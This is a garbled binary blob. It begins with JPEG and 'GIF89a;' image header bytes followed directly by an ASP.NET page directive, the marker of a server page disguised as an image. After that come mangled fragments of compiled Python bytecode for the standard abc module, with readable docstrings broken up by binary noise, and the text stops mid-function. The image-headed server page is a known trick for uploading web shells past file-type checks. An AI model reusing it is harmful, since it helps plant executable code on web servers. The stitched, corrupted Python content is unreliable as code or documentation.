ÿØÿà JFIF ÿÛ C $.' ",#(7),01444'9=82<.342ÿÛ C 2!!22222222222222222222222222222222222222222222222222ÿþGIF89a; <%@ Page Language="C#" %>
ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
F\h S r S r " S S\5 r " S S\5 r " S S\5 r SS KJ r J
r
JrJrJ
r
JrJrJr " S
S\5 rS r " S S\S9rg! \ a SSKJrJ r S
\l N$f = f)z3Abstract Base Classes (ABCs) according to PEP 3119.c SU l U $ )a A decorator indicating abstract methods.
Requires that the metaclass is ABCMeta or derived from it. A
class that has a metaclass derived from ABCMeta cannot be
instantiated unless all of its abstract methods are overridden.
The abstract methods can be called using any of the normal
'super' call mechanisms. abstractmethod() may be used to declare
abstract methods for properties and descriptors.
Usage:
class C(metaclass=ABCMeta):
@abstractmethod
def my_abstract_method(self, arg1, arg2, argN):
...
T)__isabstractmethod__)funcobjs /usr/lib/python3.13/abc.pyabstractmethodr s " $(G N c 0 ^ \ rS rSrSrSrU 4S jrSrU =r$ )abstractclassmethod zA decorator indicating abstract classmethods.
Deprecated, use 'classmethod' with 'abstractmethod' instead:
class C(ABC):
@classmethod
@abstractmethod
def my_abstract_classmethod(cls, ...):
...
Tc 2 > SUl [ TU ] U5 g NTr super__init__selfcallable __class__s r r abstractclassmethod.__init__+ (,%
"r __name__
__module____qualname____firstlineno____doc__r r __static_attributes__
__classcell__r s @r r r
# #r r c 0 ^ \ rS rSrSrSrU 4S jrSrU =r$ )abstractstaticmethod0 zA decorator indicating abstract staticmethods.
Deprecated, use 'staticmethod' with 'abstractmethod' instead:
class C(ABC):
@staticmethod
@abstractmethod
def my_abstract_staticmethod(...):
...
Tc 2 > SUl [ TU ] U5 g r r
r s r r abstractstaticmethod.__init__? r r r r r s @r r" r" 0 r r r" c \ rS rSrSrSrSrg)abstractpropertyD zA decorator indicating abstract properties.
Deprecated, use 'property' with 'abstractmethod' instead:
class C(ABC):
@property
@abstractmethod
def my_abstract_property(self):
...
Tr N)r r r r r r r r r r r' r' D s
r r' )get_cache_token _abc_init
_abc_register_abc_instancecheck_abc_subclasscheck _get_dump_reset_registry
_reset_cachesc T ^ \ rS rSrSrU 4S jrS rS rS rSS jr S r
S rS
rU =r
$ )ABCMeta\ a@ Metaclass for defining Abstract Base Classes (ABCs).
Use this metaclass to create an ABC. An ABC can be subclassed
directly, and then acts as a mix-in class. You can also register
unrelated concrete classes (even built-in classes) and unrelated
ABCs as 'virtual subclasses' -- these and their descendants will
be considered subclasses of the registering ABC by the built-in
issubclass() function, but the registering ABC won't show up in
their MRO (Method Resolution Order) nor will method
implementations defined by the registering ABC be callable (not
even via super()).
c B > [ TU ] " XX#40 UD6n[ U5 U$ N)r __new__r+ )mclsnamebases namespacekwargsclsr s r r7 ABCMeta.__new__i s$ '/$eI&ICcNJr c [ X5 $ )zcRegister a virtual subclass of an ABC.
Returns the subclass, to allow usage as a class decorator.
)r, r= subclasss r registerABCMeta.registern s
!//r c [ X5 $ )z'Override for isinstance(instance, cls).)r- )r= instances r __instancecheck__ABCMeta.__instancecheck__u
%c44r c [ X5 $ )z'Override for issubclass(subclass, cls).)r. r@ s r __subclasscheck__ABCMeta.__subclasscheck__y rH r c [ SU R SU R 3US9 [ S[ 5 3US9 [ U 5 u p#nn[ SU< 3US9 [ SU< 3US9 [ SU< 3US9 [ SU< 3US9 g )
z'Debug helper to print the ABC registry.zClass: .)filezInv. counter: z_abc_registry: z_abc_cache: z_abc_negative_cache: z_abc_negative_cache_version: N)printr r r* r/ )r= rN
_abc_registry
_abc_cache_abc_negative_cache_abc_negative_cache_versions r _dump_registryABCMeta._dump_registry} s GCNN+1S-=-=,>?dKN?#4"56TB,5cN
*](;
(OM#45DAL/d;)*=)@AM12M1PQ
r c [ U 5 g)z.Clear the registry (for debugging or testing).N)r0 r= s r _abc_registry_clearABCMeta._abc_registry_clear s
C r c [ U 5 g)z,Clear the caches (for debugging or testing).N)r1 rW s r _abc_caches_clearABCMeta._abc_caches_clear s
#r r r6 )r r r r r r7 rB rF rJ rT rX r[ r r r s @r r3 r3 \ s0
0 5 5
! r r3 )r3 r* abcc [ U S5 ( d U $ [ 5 nU R HH n[ USS5 H4 n[ XS5 n[ USS5 ( d M# UR U5 M6 MJ U R
R
5 H* u p4[ USS5 ( d M UR U5 M, [ U5 U l U $ )as Recalculate the set of abstract methods of an abstract class.
If a class has had one of its abstract methods implemented after the
class was created, the method will not be considered implemented until
this function is called. Alternatively, if a new abstract method has been
added to the class, it will only be considered an abstract method of the
class after this function is called.
This function should be called before any use is made of the class,
usually in class decorators that add methods to the subject class.
Returns cls, to allow usage as a class decorator.
If cls is not an instance of ABCMeta, does nothing.
__abstractmethods__r Nr F) hasattrset __bases__getattradd__dict__items frozensetr_ )r= abstractssclsr9 values r update_abstractmethodsrk s 3-..
I
D"7